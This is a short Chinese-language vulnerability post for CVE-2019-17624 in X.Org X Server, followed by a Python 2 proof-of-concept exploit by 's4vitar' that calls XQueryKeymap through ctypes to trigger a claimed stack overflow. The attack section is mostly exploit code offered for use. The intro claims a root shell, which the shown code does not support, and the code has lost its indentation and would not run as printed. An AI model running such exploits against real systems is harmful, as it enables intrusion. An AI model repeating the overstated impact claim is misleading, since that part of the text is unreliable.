0x1 简单介绍
X Server 是绝大对数Linux发行版和Unix系统的基础图形界面程序,是系统标配。而此程序也是以Root权限启动的,因而成功溢出它而获得的shell,也是root权限。
0x2 漏洞相关信息
# 时间: 2019-10-16
# 作者: Marcelo Vázquez (s4vitar)
# 厂商: https://www.x.org/
# 版本: <= 1.20.4
# 测试平台: Linux
# CVE: CVE-2019-17624
0x3 POC
#!/usr/bin/python
#coding: utf-8
# ************************************************************************
# * Author: Marcelo Vázquez (aka s4vitar) *
# * X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow) *
# ************************************************************************
import sys, time
import ctypes as ct
from ctypes import cast
from ctypes.util import find_library
def access_violation(x11, current_display):
keyboard = (ct.c_char * 1000)()
x11.XQueryKeymap(current_display, keyboard)
if __name__ == '__main__':
print "\n[*] Loading x11...\n"
time.sleep(2)
x11 = ct.cdll.LoadLibrary(find_library("X11"))
current_display = x11.XOpenDisplay(None)
print "[*] Exploiting...\n"
time.sleep(1)
try:
access_violation(x11, current_display)
except:
print "\nError...\n"
sys.exit(1)